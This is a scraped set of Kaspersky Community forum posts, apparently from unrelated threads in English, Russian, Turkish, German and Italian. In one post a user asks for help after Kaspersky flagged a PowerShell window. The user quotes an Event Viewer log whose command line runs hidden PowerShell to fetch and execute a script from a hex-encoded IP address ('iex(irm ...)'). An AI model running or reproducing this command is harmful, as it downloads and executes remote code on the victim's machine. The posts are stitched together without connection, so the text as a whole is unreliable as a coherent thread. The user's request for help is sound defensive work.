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Welcome to Kaspersky Community. Please provide the version of K. and operating system. Can You attach, from Your Kaspersky Reports, captures of the details of those detections?

Hi. So, Kaspersky has detected powershell.exe as a malicious object. It says the object was uid:/amsi_stream_4, a trojan. I've checked Event Viewer and i have two warnings at the time i got a PowerShell window popping up on my screen with the source being "avp" and the info/details i have are: Number: "45399392" Name: "32d87a95" Confidence: "00000000" ProcessSha256: "9785001B0DCF755EDDB8AF294A373C0B87B2498660F724E76C4D53F9C217C7A3" ProcessPath: "c:\windows\system32\windowspowershell\v1.0\powershell.exe" ProcessCommandLine: ""powershell.exe" -nop -exec bypass -w hidden -command "iex(irm 0xc0.0x6d.0xc8.0x3f/event)"" Bases: "2026.02.21 19:23:00:000" And: Number: "45399392" Name: "aa81fd45" Confidence: "00000006" ProcessSha256: "9785001B0DCF755EDDB8AF294A373C0B87B2498660F724E76C4D53F9C217C7A3" ProcessPath: "c:\windows\system32\windowspowershell\v1.0\powershell.exe" ProcessCommandLine: ""powershell.exe" -nop -exec bypass -w hidden -command "iex(irm 0xc0.0x6d.0xc8.0x3f/event)"" Bases: "2026.02.21 19:23:00:000" Could someone please help me understand what am i dealing with here? Thanks in advance.

Да запросто. Выключить роутер. Вопрос времени куда как меньшем, чем разбираться с настойками антивируса.

Evet dil değişikliği için doğrudan hangi ülkeden alındıysa o ürünün indirme sitesinden indirme yapmak gerekiyor Türkçe haricinde farklı dil istiyorsanız.

Noch eine Prüfung vorab: Ist der Installer in der Programmkontrolle gelistet? (im Hauptfenster links "Sicherheit", dann nach unten scrollen zu "Programm-Überwachung", Klick auf "Programme verwalten". Der Installer könnte ganz unten in der Gruppe "nicht vertrauenswürdig" aufgeführt sein. Bitte nichts ändern, nur nachschauen.

Ich bin absolut sicher, dass dieses Programm harmlos ist. Der Installer ist in Quarantäne. 😞

Ciao @Salvo63 Considerata la natura del problema e il fatto che non hai specificato da quale sito o rivenditore sia stata acquistata la licenza, la soluzione migliore è contattare direttamente l’assistenza di Kaspersky. Solo il supporto può verificare: la validità del codice di attivazione se il codice è stato correttamente associato all’account eventuali problemi di sincronizzazione o attivazione legati a rivenditori terzi. Info e assistenza Servizio clienti di Kaspersky per applicazioni mobili e per uso privato Saluti